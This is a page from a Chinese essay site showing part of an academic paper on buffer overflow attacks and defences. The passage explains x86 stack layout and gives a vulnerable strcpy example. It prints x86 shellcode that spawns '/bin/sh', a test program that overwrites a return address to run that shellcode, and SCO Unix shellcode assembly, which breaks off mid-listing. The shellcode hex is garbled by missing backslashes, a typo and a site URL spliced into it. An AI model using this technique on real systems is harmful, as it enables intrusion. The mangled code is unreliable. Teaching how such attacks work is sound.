WWW.51LUNWEN.COM 无忧论文网
| 无忧英国论文网 | 无忧免费论文网|英国·澳大利亚·新西兰·加拿大·美国·荷兰】
无忧论文网无忧论文网名校师资提供一流服务
2008/12/4 星期四
论文首页 | 留学论文 | 硕士论文 | MBA论文 | 金融硕士 | 博士论文 | 代写论文 | 代写Assignment| 翻译服务 | 支付方式
论文下载 | 论文写作 | 论文格式 | 本科论文 | 论文老师 | 论文出售 | 论文发表 | 发表供需| 教育导航 我的无忧  
英语论文|工商管理|市场营销|物流论文|人力资源|电子商务|旅游管理学|项目管理|行政管理|经济论文|金融论文|国际贸易|法律论文|日语论文|
教育论文|政治论文|社会哲学|新闻媒体|保险论文|会计财务|计算机科学|建筑论文|通讯论文|土木工程|医学论文|论文写作|留学文书|应用范文|
无忧论文网论文下载中心 [自然科学类][计算机科学][计算机应用]缓冲区溢出攻击的分析及防范策略
本类导航  
计算机科学
 →计算机软件
 →计算机应用
 →计算机网络
 →计算机数据库
 →计算机硬件
本专业最热门的论文 
图书馆管理系统(20308)
电子商务安全机制研究-支付系统的研究与实现(3558)
数据加密技术(3073)
《编译技术》多媒体课件制作(附开题报告,任务书,外文资料翻译等)(2980)
中小企业网站建设(2762)

Google 英语论文 硕士论文 论文下载 论文发表
支付方式咨询:357500023@qq.com
论文题目: 缓冲区溢出攻击的分析及防范策略
论文编号: lw200708221112452413
编辑: li
论文属性: 学术论文
论文国籍:
论文语言:中文
登出日期: 2007-08-22  
点击次数:2142
论文字数:11897
购买价格: 免费论文
注明:
参考相关附件:
论文大纲,目录
关键词搜索:计算机应用论文   学术论文
P,程序接着继续执行本来的流程。
这里有一个直观的缓冲区溢出的小例子:
void function(char *str)
{
char buffer[16];
strcpy(buffer, str);
}
Void main()
{
int I;
char buffer[128];
for(I=0; I<127; I++)
buffer[I]=A;
buffer[127]=0;
function(buffer);
printf(“This is a test. ”);
}
在函数function中,将一个128字节长度的字符串拷贝到只有16字节长的局部缓冲区中。在使用strcpy()函数前,没有进行缓冲区边界检查,导致从buffer开始的256个字节都将被*str的内容A覆盖,包括堆栈指针和返回地址,甚至*str都将被A覆盖。
再看看堆栈的结构,由于栈式内存分配具有一条指令即可为子程序分配全部局部变量的存储空间的特点,分配和去配的开销极低,高级语言通常在堆栈上分配局部存储空间。同时,堆栈也被用来存放子程序的返回地址。对C语言来说,调用函数的语句f(arg1,arg2,…,argn)被翻译为如下指令:
push argn
…….
push arg1
push n
call f
而函数的入口则翻译为如下入口指令(在Intel X86上)
pushl ebp
mov esp,ebp
sub esp,m  #m为f的局部变量的空间大小
在Intel X86体系结构上,堆栈是从上向下生长的,因此调用以上函数时的堆栈结构如图1所示:
arg1
……
argn
n
返回地址
ebp
局部变量
高地址





低地址
图1    堆栈结构图
例如,调用以下函数时
Void f(char *src)
{    char dest[4];
     memcpy(dest, src,12);
}
堆栈及变量的位置如图2所示:


src
l
返回地址
ebp
dest[3]
dest[2]
dest[1]
dest[0]
高地址






低地址
图2    堆栈及位置的变量图
从堆栈结构可以看到,当用精心准备好的地址改写返回地址时,即可把控制流程引向自己的代码。C2级操作系统提供了进程空间的隔离机制,因此,利用缓冲区溢出攻击可以在别的进程上下文中执行自己的代码,从而绕过操作系统的安全机制,下面是一个例子:
Void main()
{
    char *str[2]={”/bin/sh”,0};
    exec (“/bin/sh”,str,0);
}
编译后反编译,并加以整理,得到与以上程序等价的机器码:
“xebx2ax5ex89x76x08xc6x46x07x00xc7x46x0cx00x00x00”
“x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”
“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”
“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”
事例程序如下:
/         test         /
char shellcode[]=
{“xebx2ax5ex89x76x08xc6x4无忧论文 【http://www.uklunwen.com】6x07x00xc7x46x0cx00x00x00”“x00xb8x0bx00x00x00x89xf3x8dx4ex08x8dx56x0cxcdx80”
“xb8x01x00x00x00xbbx00x00x00x00xcdx80xe8xdlxffxff”
“xffx2fx62x69x6ex2fx73x68x00x89xecx5dxc3”};
void f(char *src)
{
char dest[4];
memcpy(dest,src,12);
}
void main()
{
int shellentry[3];
shellentry[0]=(int)shellcode;
shellentry[1]=(int)shellcode;
shellentry[2]=(int)shellcode;
f(shellentry);
}
由以上程序可以看出缓冲区溢出攻击的关键:因为memcpy并不检验边界,所以dest溢出时,使shellcode的地址覆盖了子程序的返回地址,当子程序执行ret指令时,CPU的指令指针寄存器EIP指向shellcode,从而执行shellcode。
这里讨论一个现实中的Unix环境下,利用缓冲区溢出的到一个Shell的行攻击方法的实现。其中,S代表Shellcode,A代表填写的返回地址,由于Shellcode在虚地址的高端,所以这个返回地址(32bit)一般不会含有零字节:
(1)    启动一个一个Shell的代码——Shellcode的获得
通常的获得方法是先用高级语言编写同样功能的程序,然后用调试工具抽取必须的二进制代码。高级语言程序如下:
shellcode.c
#include
void main()
{
char *name[2];
name[0]=”bin/sh”;
name[1]=NULL;
execve(name[0],name,NULL);
exit(0);
}
把上述程序编译之后,可以用gdb得到上面程序的汇编代码及二进制代码,适当优化后即可得到二进制的Shellcode。
这里要解决的一个问题是,无论Shellcode被装置到内存的什么位置,字符串“/bin/sh”的地址都可以得到。解决方法是在“/bin/sh”之前加一条CALL指令,这样当CALL被执行时,“/bin/sh”的地址将被自动压入堆栈,紧接着用一条popl指令即可获得这个地址。
Shellcode的结构如下:(J代表JMP指令,C代表CALL指令,S代表启动Shell的代码,s代表串“/bin/sh”,A指向Shellcode的起始地址)。
SCO Unix下的Shellcode的汇编代码如下:
Jmp 0x2a      # 3 bytes   # 跳到CALL指令处
Popl %esi     # 1 byte    # 把由CALL指令压入堆栈的串 # 地址送到esi
movl %esi, 0x8(%esi)      # 3 bytes
movb $0x0, 0x7(%esi)      # 4 bytes
movl $0x0, 0xc(%esi)      # 7 bytes
movl $0xb, %eax          # 5 bytes
movl %esi, %ebx          # 2 bytes  # 执行execve(name[0],name,NULL);
leal 0x8(%esi) , %ecx    
第1页 第2页 第3页 第4页 第5页 第6页 第7页 
上一篇:项目管理在软件中的应用下一篇:基于B/S体系结构开发应用系统
最新论文 最热门论文
行政权与公民权研究
Disclosure environment and listing on foreign stock exchanges
Cross-Listings and M&A Activity: Transatlantic Evidence
Cost of Capital and Liquidity of Cross-Listed Chinese Companies
On Cross-cultural Awareness in English and Chinese Translation
校园网站设计
英语专业毕业论文-英语委婉语的交际功能
英语毕业论文:Collaborative Principled Negotiation
英语专业毕业论文题目汇总
图书馆管理系统
论文首页】【设为主页】【加入收藏】【打印本文】【回到顶部
 
 
 
Copyright (c) 2002 ~ 2009 无忧集团旗下网站. All rights reserved.